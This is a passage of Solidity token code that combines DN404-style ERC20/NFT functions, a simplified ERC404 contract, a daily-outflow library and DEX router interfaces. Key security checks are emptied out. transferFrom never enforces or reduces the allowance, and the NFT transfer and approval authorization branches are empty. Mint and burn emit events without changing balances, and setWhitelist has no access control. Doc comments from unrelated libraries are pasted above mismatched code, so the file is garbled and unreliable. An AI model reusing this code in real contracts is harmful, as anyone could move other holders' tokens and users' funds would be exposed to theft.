    /*                      ERC20 OPERATIONS                      */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the decimals places of the token. Always 18.
    function decimals() public pure returns (uint8) {
        return 18;
    }

    /// @dev Returns the amount of tokens in existence.
    function totalSupply() public view virtual returns (uint256) {
        return uint256(_getDN404Storage().totalSupply);
    }

    /// @dev Returns the amount of tokens owned by `owner`.
    function balanceOf(address owner) public view virtual returns (uint256) {
        return _getDN404Storage().addressData[owner].balance;
    }

    /// @dev Returns the amount of tokens that `spender` can spend on behalf of `owner`.
    function allowance(address owner, address spender) public view returns (uint256) {
        return _getDN404Storage().allowance[owner][spender];
    }

    /// @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    ///
    /// Emits a {Approval} event.
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        DN404Storage storage $ = _getDN404Storage();

        $.allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    /// @dev Transfer `amount` tokens from the caller to `to`.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Requirements:
    /// - `from` must at least have `amount`.
    ///
    /// Emits a {Transfer} event.
    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    /// @dev Transfers `amount` tokens from `from` to `to`.
    ///
    /// Note: Does not update the allowance if it is the maximum uint256 value.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Requirements:
    /// - `from` must at least have `amount`.
    /// - The caller must have at least `amount` of allowance to transfer the tokens of `from`.
    ///
    /// Emits a {Transfer} event.
    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        DN404Storage storage $ = _getDN404Storage();

        uint256 allowed = $.allowance[from][msg.sender];

        if (allowed != type(uint256).max) {
            
        }

        _transfer(from, to, amount);

        return true;
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                  INTERNAL MINT FUNCTIONS                   */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Mints `amount` tokens to `to`, increasing the total supply.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Emits a {Transfer} event.
    function _mint(address to, uint256 amount) internal virtual {

        DN404Storage storage $ = _getDN404Storage();

        AddressData storage toAddressData = _addressData(to);

        
        emit Transfer(address(0), to, amount);
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                  INTERNAL BURN FUNCTIONS                   */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Burns `amount` tokens from `from`, reducing the total supply.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Emits a {Transfer} event.
    function _burn(address from, uint256 amount) internal virtual {
        DN404Storage storage $ = _getDN404Storage();

        AddressData storage fromAddressData = _addressData(from);

        uint256 fromBalance = fromAddressData.balance;

        uint256 currentTokenSupply = $.totalSupply;

        
        emit Transfer(from, address(0), amount);
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                INTERNAL TRANSFER FUNCTIONS                 */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Moves `amount` of tokens from `from` to `to`.
    ///
    /// Will burn sender NFTs if balance after transfer is less than
    /// the amount required to support the current NFT balance.
    ///
    /// Will mint NFTs to `to` if the recipient's new balance supports
    /// additional NFTs ***AND*** the `to` address's skipNFT flag is
    /// set to false.
    ///
    /// Emits a {Transfer} event.
    function _transfer(address from, address to, uint256 amount) internal virtual {

        DN404Storage storage $ = _getDN404Storage();

        AddressData storage fromAddressData = _addressData(from);
        AddressData storage toAddressData = _addressData(to);

        _TransferTemps memory t;
        t.fromOwnedLength = fromAddressData.ownedLength;
        t.toOwnedLength = toAddressData.ownedLength;
        t.fromBalance = fromAddressData.balance;


        
        emit Transfer(from, to, amount);
    }

    /// @dev Transfers token `id` from `from` to `to`.
    ///
    /// Requirements:
    ///
    /// - Call must originate from the mirror contract.
    /// - Token `id` must exist.
    /// - `from` must be the owner of the token.
    /// - `to` cannot be the zero address.
    ///   `msgSender` must be the owner of the token, or be approved to manage the token.
    ///
    /// Emits a {Transfer} event.
    function _transferFromNFT(address from, address to, uint256 id, address msgSender)
        internal
        virtual
    {
        DN404Storage storage $ = _getDN404Storage();


        address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];


        if (msgSender != from) {
            if (!$.operatorApprovals[from][msgSender]) {
                if (msgSender != $.tokenApprovals[id]) {
                }
            }
        }

        AddressData storage fromAddressData = _addressData(from);
        AddressData storage toAddressData = _addressData(to);

        fromAddressData.balance -= uint96(_WAD);

        

        emit Transfer(from, to, _WAD);
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                 DATA HITCHHIKING FUNCTIONS                 */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the auxiliary data for `owner`.
    /// Minting, transferring, burning the tokens of `owner` will not change the auxiliary data.
    /// Auxiliary data can be set for any address, even if it does not have any tokens.
    function _getAux(address owner) internal view virtual returns (uint88) {
        return _getDN404Storage().addressData[owner].aux;
    }

    /// @dev Set the auxiliary data for `owner` to `value`.
    /// Minting, transferring, burning the tokens of `owner` will not change the auxiliary data.
    /// Auxiliary data can be set for any address, even if it does not have any tokens.
    function _setAux(address owner, uint88 value) internal virtual {
        _getDN404Storage().addressData[owner].aux = value;
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                     SKIP NFT FUNCTIONS                     */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns true if account `a` will skip NFT minting on token mints and transfers.
    /// Returns false if account `a` will mint NFTs on token mints and transfers.
    function getSkipNFT(address a) public view virtual returns (bool) {
        AddressData storage d = _getDN404Storage().addressData[a];
        if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) return _hasCode(a);
        return d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0;
    }

    /// @dev Sets the caller's skipNFT flag to `skipNFT`
    ///
    /// Emits a {SkipNFTSet} event.
    function setSkipNFT(bool skipNFT) public virtual {
        _setSkipNFT(msg.sender, skipNFT);
    }

    /// @dev Internal function to set account `a` skipNFT flag to `state`
    ///
    /// Initializes account `a` AddressData if it is not currently initialized.
    ///
    /// Emits a {SkipNFTSet} event.
    function _setSkipNFT(address a, bool state) internal virtual {
        AddressData storage d = _addressData(a);
        if ((d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0) != state) {
            d.flags ^= _ADDRESS_DATA_SKIP_NFT_FLAG;
        }
        emit SkipNFTSet(a, state);
    }

    /// @dev Returns a storage data pointer for account `a` AddressData
    ///
    /// Initializes account `a` AddressData if it is not currently initialized.
    function _addressData(address a) internal virtual returns (AddressData storage d) {
        DN404Storage storage $ = _getDN404Storage();
        d = $.addressData[a];

        if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) {
            uint8 flags = _ADDRESS_DATA_INITIALIZED_FLAG;
            if (_hasCode(a)) flags |= _ADDRESS_DATA_SKIP_NFT_FLAG;
            d.flags = flags;
        }
    }

    /// @dev Returns the `addressAlias` of account `to`.
    ///
    /// Assigns and registers the next alias if `to` alias was not previously registered.
    function _registerAndResolveAlias(AddressData storage toAddressData, address to)
        internal
        virtual
        returns (uint32 addressAlias)
    {
        DN404Storage storage $ = _getDN404Storage();
        addressAlias = toAddressData.addressAlias;
        if (addressAlias == 0) {
            addressAlias = ++$.numAliases;
            toAddressData.addressAlias = addressAlias;
            $.aliasToAddress[addressAlias] = to;
        }
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                     MIRROR OPERATIONS                      */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the address of the mirror NFT contract.
    function mirrorERC721() public view virtual returns (address) {
        return _getDN404Storage().mirrorERC721;
    }

    /// @dev Returns the total NFT supply.
    function _totalNFTSupply() internal view virtual returns (uint256) {
        return _getDN404Storage().totalNFTSupply;
    }

    /// @dev Returns `owner` NFT balance.
    function _balanceOfNFT(address owner) internal view virtual returns (uint256) {
        return _getDN404Storage().addressData[owner].ownedLength;
    }

    /// @dev Returns the owner of token `id`.
    function _ownerAt(uint256 id) internal view virtual returns (address) {
        DN404Storage storage $ = _getDN404Storage();
        return $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
    }

    /// @dev Returns the owner of token `id`.
    ///
    /// Requirements:
    /// - Token `id` must exist.
    function _ownerOf(uint256 id) internal view virtual returns (address) {
        return _ownerAt(id);
    }

    /// @dev Returns if token `id` exists.
    function _exists(uint256 id) internal view virtual returns (bool) {
        return _ownerAt(id) != address(0);
    }

    /// @dev Returns the account approved to manage token `id`.
    ///
    /// Requirements:
    /// - Token `id` must exist.
    function _getApproved(uint256 id) internal view virtual returns (address) {
        return _getDN404Storage().tokenApprovals[id];
    }

    /// @dev Sets `spender` as the approved account to manage token `id`, using `msgSender`.
    ///
    /// Requirements:
    /// - `msgSender` must be the owner or an approved operator for the token owner.
    function _approveNFT(address spender, uint256 id, address msgSender)
        internal
        virtual
        returns (address)
    {
        DN404Storage storage $ = _getDN404Storage();

        address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];

        if (msgSender != owner) {
            if (!$.operatorApprovals[owner][msgSender]) {
            }
        }

        $.tokenApprovals[id] = spender;

        return owner;
    }

    /// @dev Approve or remove the `operator` as an operator for `msgSender`,
    /// without authorization checks.
    function _setApprovalForAll(address operator, bool approved, address msgSender)
        internal
        virtual
    {
        _getDN404Storage().operatorApprovals[msgSender][operator] = approved;
    }

    /// @dev Calls the mirror contract to link it to this contract.
    ///
    function _linkMirrorContract(address mirror) internal virtual {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, 0x0f4599e5) // `linkMirrorContract(address)`.
            mstore(0x20, caller())
            if iszero(and(eq(mload(0x00), 1), call(gas(), mirror, 0, 0x1c, 0x24, 0x00, 0x20))) {
                mstore(0x00, 0xd125259c) // `LinkMirrorContractFailed()`.
            }
        }
    }

    /// @dev Fallback modifier to dispatch calls from the mirror NFT contract
    /// to internal functions in this contract.
    modifier dn404Fallback() virtual {
        DN404Storage storage $ = _getDN404Storage();

        uint256 fnSelector = _calldataload(0x00) >> 224;

        // `isApprovedForAll(address,address)`.
        if (fnSelector == 0xe985e9c5) {

            address owner = address(uint160(_calldataload(0x04)));
            address operator = address(uint160(_calldataload(0x24)));

            _return($.operatorApprovals[owner][operator] ? 1 : 0);
        }
        // `ownerOf(uint256)`.
        if (fnSelector == 0x6352211e) {

            uint256 id = _calldataload(0x04);

            _return(uint160(_ownerOf(id)));
        }
        // `transferFromNFT(address,address,uint256,address)`.
        if (fnSelector == 0xe5eb36c8) {

            address from = address(uint160(_calldataload(0x04)));
            address to = address(uint160(_calldataload(0x24)));
            uint256 id = _calldataload(0x44);
            address msgSender = address(uint160(_calldataload(0x64)));

            _transferFromNFT(from, to, id, msgSender);
            _return(1);
        }
        // `setApprovalForAll(address,bool,address)`.
        if (fnSelector == 0x813500fc) {

            address spender = address(uint160(_calldataload(0x04)));
            bool status = _calldataload(0x24) != 0;
            address msgSender = address(uint160(_calldataload(0x44)));

            _setApprovalForAll(spender, status, msgSender);
            _return(1);
        }
        // `approveNFT(address,uint256,address)`.
        if (fnSelector == 0xd10b6e0c) {

            address spender = address(uint160(_calldataload(0x04)));
            uint256 id = _calldataload(0x24);
            address msgSender = address(uint160(_calldataload(0x44)));

            _return(uint160(_approveNFT(spender, id, msgSender)));
        }
        // `getApproved(uint256)`.
        if (fnSelector == 0x081812fc) {

            uint256 id = _calldataload(0x04);

            _return(uint160(_getApproved(id)));
        }
        // `balanceOfNFT(address)`.
        if (fnSelector == 0xf5b100ea) {

            address owner = address(uint160(_calldataload(0x04)));

            _return(_balanceOfNFT(owner));
        }
        // `totalNFTSupply()`.
        if (fnSelector == 0xe2c79281) {

            _return(_totalNFTSupply());
        }
        // `implementsDN404()`.
        if (fnSelector == 0xb7a94eb8) {
            _return(1);
        }
        _;
    }

    /// @dev Fallback function for calls from mirror NFT contract.
    fallback() external payable virtual dn404Fallback {}

    receive() external payable virtual {}

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                      PRIVATE HELPERS                       */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Struct containing packed log data for `Transfer` events to be
    /// emitted by the mirror NFT contract.
    struct _PackedLogs {
        uint256[] logs;
        uint256 offset;
    }

    /// @dev Initiates memory allocation for packed logs with `n` log items.
    function _packedLogsMalloc(uint256 n) private pure returns (_PackedLogs memory p) {
        /// @solidity memory-safe-assembly
        assembly {
            let logs := add(mload(0x40), 0x40) // Offset by 2 words for `_packedLogsSend`.
            mstore(logs, n)
            let offset := add(0x20, logs)
            mstore(0x40, add(offset, shl(5, n)))
            mstore(p, logs)
            mstore(add(0x20, p), offset)
        }
    }

    /// @dev Adds a packed log item to `p` with address `a`, token `id` and burn flag `burnBit`.
    function _packedLogsAppend(_PackedLogs memory p, address a, uint256 id, uint256 burnBit)
        private
        pure
    {
        /// @solidity memory-safe-assembly
        assembly {
            let offset := mload(add(0x20, p))
            mstore(offset, or(or(shl(96, a), shl(8, id)), burnBit))
            mstore(add(0x20, p), add(offset, 0x20))
        }
    }

    /// @dev Calls the `mirror` NFT contract to emit Transfer events for packed logs `p`.
    function _packedLogsSend(_PackedLogs memory p, address mirror) private {
        /// @solidity memory-safe-assembly
        assembly {
            let logs := mload(p)
            let o := sub(logs, 0x40) // Start of calldata to send.
            mstore(o, 0x263c69d6) // `logTransfer(uint256[])`.
            mstore(add(o, 0x20), 0x20) // Offset of `logs` in the calldata to send.
            let n := add(0x44, shl(5, mload(logs))) // Length of calldata to send.
            if iszero(and(eq(mload(o), 1), call(gas(), mirror, 0, add(o, 0x1c), n, o, 0x20))) {
            }
        }
    }

    /// @dev Struct of temporary variables for transfers.
    struct _TransferTemps {
        uint256 nftAmountToBurn;
        uint256 nftAmountToMint;
        uint256 fromBalance;
        uint256 toBalance;
        uint256 fromOwnedLength;
        uint256 toOwnedLength;
    }

    /// @dev Returns if `a` has bytecode of non-zero length.
    function _hasCode(address a) private view returns (bool result) {
        /// @solidity memory-safe-assembly
        assembly {
            result := extcodesize(a) // Can handle dirty upper bits.
        }
    }

    /// @dev Returns the calldata value at `offset`.
    function _calldataload(uint256 offset) private pure returns (uint256 value) {
        /// @solidity memory-safe-assembly
        assembly {
            value := calldataload(offset)
        }
    }

    /// @dev Executes a return opcode to return `x` and end the current call frame.
    function _return(uint256 x) private pure {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, x)
            return(0x00, 0x20)
        }
    }

    /// @dev Returns `max(0, x - y)`.
    function _zeroFloorSub(uint256 x, uint256 y) private pure returns (uint256 z) {
        /// @solidity memory-safe-assembly
        assembly {
            z := mul(gt(x, y), sub(x, y))
        }
    }

    /// @dev Returns `i << 1`.
    function _ownershipIndex(uint256 i) private pure returns (uint256) {
        return i << 1;
    }

    /// @dev Returns `(i << 1) + 1`.
    function _ownedIndex(uint256 i) private pure returns (uint256) {
    }

    /// @dev Returns the uint32 value at `index` in `map`.
    function _get(Uint32Map storage map, uint256 index) private view returns (uint32 result) {
        result = uint32(map.map[index >> 3] >> ((index & 7) << 5));
    }

    /// @dev Updates the uint32 value at `index` in `map`.
    function _set(Uint32Map storage map, uint256 index, uint32 value) private {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x20, map.slot)
            mstore(0x00, shr(3, index))
            let s := keccak256(0x00, 0x40) // Storage slot.
            let o := shl(5, and(index, 7)) // Storage slot offset (bits).
            let v := sload(s) // Storage slot value.
            let m := 0xffffffff // Value mask.
            sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
        }
    }

    /// @dev Sets the owner alias and the owned index together.
    function _setOwnerAliasAndOwnedIndex(
        Uint32Map storage map,
        uint256 id,
        uint32 ownership,
        uint32 ownedIndex
    ) private {
        /// @solidity memory-safe-assembly
        assembly {
            let value := or(shl(32, ownedIndex), and(0xffffffff, ownership))
            mstore(0x20, map.slot)
            mstore(0x00, shr(2, id))
            let s := keccak256(0x00, 0x40) // Storage slot.
            let o := shl(6, and(id, 3)) // Storage slot offset (bits).
            let v := sload(s) // Storage slot value.
            let m := 0xffffffffffffffff // Value mask.
            sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
        }
    }
}

library DailyOutflowCounterLib {
    uint256 internal constant WAD_TRUNCATED = 10 ** 18 >> 40;

    uint256 internal constant OUTFLOW_TRUNCATED_MASK = 0xffffffffffffff;

    uint256 internal constant DAY_BITPOS = 56;

    uint256 internal constant DAY_MASK = 0x7fffffff;

    uint256 internal constant OUTFLOW_TRUNCATE_SHR = 40;

    uint256 internal constant WHITELISTED_BITPOS = 87;

    function update(uint88 packed, uint256 outflow)
        internal
        view
        returns (uint88 updated, uint256 multiple)
    {
      
            if (isWhitelisted(packed)) {
                return (packed, 0);
            }

            uint256 currentDay = (block.timestamp / 86400) & DAY_MASK;
            uint256 packedDay = (uint256(packed) >> DAY_BITPOS) & DAY_MASK;
            uint256 totalOutflowTruncated = uint256(packed) & OUTFLOW_TRUNCATED_MASK;

            if (packedDay != currentDay) {
                totalOutflowTruncated = 0;
                packedDay = currentDay;
            }

            uint256 result = packedDay << DAY_BITPOS;
            uint256 todaysOutflowTruncated =
                totalOutflowTruncated + ((outflow >> OUTFLOW_TRUNCATE_SHR) & OUTFLOW_TRUNCATED_MASK);
            result |= todaysOutflowTruncated & OUTFLOW_TRUNCATED_MASK;
            updated = uint88(result);
            multiple = todaysOutflowTruncated / WAD_TRUNCATED;
        
    }

    function isWhitelisted(uint88 packed) internal pure returns (bool) {
        return packed >> WHITELISTED_BITPOS != 0;
    }

    function setWhitelisted(uint88 packed, bool status) internal pure returns (uint88) {
        if (isWhitelisted(packed) != status) {
            packed ^= uint88(1 << WHITELISTED_BITPOS);
        }
        return packed;
    }
}


/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC404 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

   
    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

     function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

}

abstract contract ERC721Receiver {
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return ERC721Receiver.onERC721Received.selector;
    }
}

/**
 * @title Counters
 * @author Matt Condon (@shrugs)
 * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
 * of elements in a mapping, issuing ERC721 ids, or counting request ids.
 *
 * Include with `using Counters for Counters.Counter;`
 */
library Counters {
    struct Counter {
        // This variable should never be directly accessed by users of the library: interactions must be restricted to
        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
        // this feature: see https://github.com/ethereum/solidity/issues/4637
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
            counter._value += 1;
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
            counter._value = value - 1;
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


contract AERC404  {
    // Events
    event ERC20Transfer(
        address indexed from,
        address indexed to,
        uint256 amount
    );
    event ERC721Approval(
        address indexed owner,
        address indexed spender,
        uint256 indexed id
    );
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );



    // Metadata
    /// @dev Token name
    string public name_ = "";

    /// @dev Token symbol
    string public symbol_ = "";

    /// @dev Decimals for fractional representation
    uint8 public immutable decimals_ = 10;

    /// @dev Total supply in fractionalized representation
    uint256 public immutable totalSupply_ = 100;

    /// @dev Current mint counter, monotonically increasing to ensure accurate ownership
    uint256 public minted;

    // Mappings
    /// @dev Balance of user in fractional representation
    mapping(address => uint256) public balanceOf_;

    /// @dev Allowance of user in fractional representation
    mapping(address => mapping(address => uint256)) public allowance_;

    /// @dev Approval in native representaion
    mapping(uint256 => address) public getApproved;

    /// @dev Approval for all in native representation
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    /// @dev Owner of id in native representation
    mapping(uint256 => address) internal _ownerOf;

    /// @dev Array of owned ids in native representation
    mapping(address => uint256[]) internal _owned;

    /// @dev Tracks indices for the _owned mapping
    mapping(uint256 => uint256) internal _ownedIndex;

    /// @dev Addresses whitelisted from minting / burning for gas savings (pairs, routers, etc)
    mapping(address => bool) public whitelist;

    /// @notice Initialization function to set pairs / etc
    ///         saving gas by avoiding mint / burn on unnecessary targets
    function setWhitelist(address target, bool state) public {
        whitelist[target] = state;
    }

    /// @notice Function to find owner of a given native token
    function ownerOf(uint256 id) public view virtual returns (address owner) {
        owner = _ownerOf[id];

        if (owner == address(0)) {
            revert();
        }
    }

    /// @notice tokenURI must be implemented by child contract
    function tokenURI(uint256 id) public view  returns (string memory){
        return "";
    }

    /// @notice Function for token approvals
    /// @dev This function assumes id / native if amount less than or equal to current max id
    function approve_(
        address spender,
        uint256 amountOrId
    ) public virtual returns (bool) {
        if (amountOrId <= minted && amountOrId > 0) {
            address owner = _ownerOf[amountOrId];

            if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {
                revert();
            }

            getApproved[amountOrId] = spender;


        } else {
            allowance_[msg.sender][spender] = amountOrId;


        }

        return true;
    }

    /// @notice Function native approvals
    function setApprovalForAll(address operator, bool approved) public virtual {
        isApprovedForAll[msg.sender][operator] = approved;

        emit ApprovalForAll(msg.sender, operator, approved);
    }

    /// @notice Function for mixed transfers
    /// @dev This function assumes id / native if amount less than or equal to current max id
    function transferFrom_(
        address from,
        address to,
        uint256 amountOrId
    ) public virtual {
        if (amountOrId <= minted) {
            if (from != _ownerOf[amountOrId]) {
                revert ();
            }

            if (to == address(0)) {
                revert ();
            }

            if (
                msg.sender != from &&
                !isApprovedForAll[from][msg.sender] &&
                msg.sender != getApproved[amountOrId]
            ) {
                revert ();
            }

            balanceOf_[from] -= _getUnit();

                balanceOf_[to] += _getUnit();

            _ownerOf[amountOrId] = to;
            delete getApproved[amountOrId];

            // update _owned for sender
            uint256 updatedId = _owned[from][_owned[from].length - 1];
            _owned[from][_ownedIndex[amountOrId]] = updatedId;
            // pop
            _owned[from].pop();
            // update index for the moved id
            _ownedIndex[updatedId] = _ownedIndex[amountOrId];
            // push token to to owned
            _owned[to].push(amountOrId);
            // update index for to owned
            _ownedIndex[amountOrId] = _owned[to].length - 1;


            emit ERC20Transfer(from, to, _getUnit());
        } else {
            uint256 allowed = allowance_[from][msg.sender];

            if (allowed != type(uint256).max)
                allowance_[from][msg.sender] = allowed - amountOrId;

            _transfer_(from, to, amountOrId);
        }
    }

    /// @notice Function for fractional transfers
    function transfer_(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        return _transfer_(msg.sender, to, amount);
    }

    /// @notice Function for native transfers with contract support
    function safeTransferFrom(
        address from,
        address to,
        uint256 id
    ) public virtual {
        transferFrom_(from, to, id);

        if (
            ERC721Receiver(to).onERC721Received(msg.sender, from, id, "") !=
            ERC721Receiver.onERC721Received.selector
        ) {
            revert ();
        }
    }

    /// @notice Function for native transfers with contract support and callback data
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        bytes calldata data
    ) public virtual {
        transferFrom_(from, to, id);

        if (
            ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=
            ERC721Receiver.onERC721Received.selector
        ) {
            revert ();
        }
    }

    /// @notice Internal function for fractional transfers
    function _transfer_(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns (bool) {
        uint256 unit = _getUnit();
        uint256 balanceBeforeSender = balanceOf_[from];
        uint256 balanceBeforeReceiver = balanceOf_[to];

        balanceOf_[from] -= amount;

            balanceOf_[to] += amount;

        // Skip burn for certain addresses to save gas
        if (!whitelist[from]) {
            uint256 tokens_to_burn = (balanceBeforeSender / unit) -
                (balanceOf_[from] / unit);
            for (uint256 i = 0; i < tokens_to_burn; i++) {
                _burn(from);
            }
        }

        // Skip minting for certain addresses to save gas
        if (!whitelist[to]) {
            uint256 tokens_to_mint = (balanceOf_[to] / unit) -
                (balanceBeforeReceiver / unit);
            for (uint256 i = 0; i < tokens_to_mint; i++) {
                _mint(to);
            }
        }

        emit ERC20Transfer(from, to, amount);
        return true;
    }

    // Internal utility logic
    function _getUnit() internal view returns (uint256) {
        return 10 ** decimals_;
    }

    function _mint(address to) internal virtual {
        if (to == address(0)) {
            revert ();
        }

            minted++;

        uint256 id = minted;

        if (_ownerOf[id] != address(0)) {
            revert ();
        }

        _ownerOf[id] = to;
        _owned[to].push(id);
        _ownedIndex[id] = _owned[to].length - 1;


    }

    function _burn(address from) internal virtual {
        if (from == address(0)) {
            revert ();
        }

        uint256 id = _owned[from][_owned[from].length - 1];
        _owned[from].pop();
        delete _ownedIndex[id];
        delete _ownerOf[id];
        delete getApproved[id];


    }

    function _setNameSymbol(
        string memory _name,
        string memory _symbol
    ) internal {
        name_ = _name;
        symbol_ = _symbol;
    }
}


/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */

/**
 * @dev Implementation of the {IERC404} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC404PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-ERC404-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC404 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
